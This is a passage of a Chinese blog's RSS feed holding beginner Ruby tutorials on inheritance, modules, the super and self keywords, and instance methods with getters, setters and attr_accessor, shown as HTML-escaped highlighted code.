&lt;p&gt;当模块被include时会被执行，同事会传递当前作用于的self对象&lt;/p&gt;</description></item><item><title>Ruby8 继承(Inheritance)和模块(Modules)</title><link>https://luodaoyi.com/posts/ruby8-%E7%BB%A7%E6%89%BFinheritance%E5%92%8C%E6%A8%A1%E5%9D%97modules-ruby8%E7%BB%A7%E6%89%BFinheritance%E5%92%8C%E6%A8%A1%E5%9D%97modules/</link><pubDate>Sat, 17 Feb 2018 13:02:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby8-%E7%BB%A7%E6%89%BFinheritance%E5%92%8C%E6%A8%A1%E5%9D%97modules-ruby8%E7%BB%A7%E6%89%BFinheritance%E5%92%8C%E6%A8%A1%E5%9D%97modules/</guid><description>&lt;h2 id="继承示例"&gt;继承示例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# inheritance
class User
 attr_accessor :name, :age
 def initialize name, age
 @name, @age = name, age
 end
 def panels
 # ||= 操作符， 如果变量不存在 那么就赋值
 @panels ||= [&amp;quot;Profile&amp;quot;, &amp;quot;Products&amp;quot;]
 end
end
class Admin &amp;lt; User
 def panels
 @panels ||= [&amp;quot;Profile&amp;quot;, &amp;quot;Products&amp;quot;, &amp;quot;Manage Users&amp;quot;, &amp;quot;System Setup&amp;quot;]
 end
end
user = User.new(&amp;quot;user_1&amp;quot;, 18)
p user.panels
puts &amp;quot;-&amp;quot; * 30
admin = Admin.new(&amp;quot;admin_1&amp;quot;, 28)
puts admin.name
p admin.panels
# 查看这个类的父类
p Admin.superclass
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="常用關鍵字"&gt;常用關鍵字&lt;/h2&gt;
&lt;p&gt;super关键字&lt;br&gt;
调用父类的同名方法&lt;br&gt;
self關鍵字&lt;br&gt;
指向當前作用域實例&lt;/p&gt;</description></item><item><title>Ruby7 OOP</title><link>https://luodaoyi.com/posts/ruby7-oop-ruby7oop/</link><pubDate>Sat, 17 Feb 2018 11:43:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby7-oop-ruby7oop/</guid><description>&lt;h2 id="everything-is-object-一切皆对象"&gt;Everything is Object 一切皆对象&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; String&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; Float&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%w[pear cat horse]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; Array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="instance-method--instance-attribute-实例方法实例属性"&gt;Instance Method &amp;amp; Instance Attribute 实例方法，实例属性&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Instance Method: 实例方法，成员方法，成员函数&lt;/li&gt;
&lt;li&gt;Instance Attribute: 实例变量，成员属性，属性(property)，使用@定义&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# getter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# getter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# setter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;-&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello 2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class, attr_reader, attr_writer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_writer&lt;/span&gt; &lt;span class="ss"&gt;:name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_writer&lt;/span&gt; &lt;span class="ss"&gt;:age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;-&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello 2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class, method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, i am &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@age&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
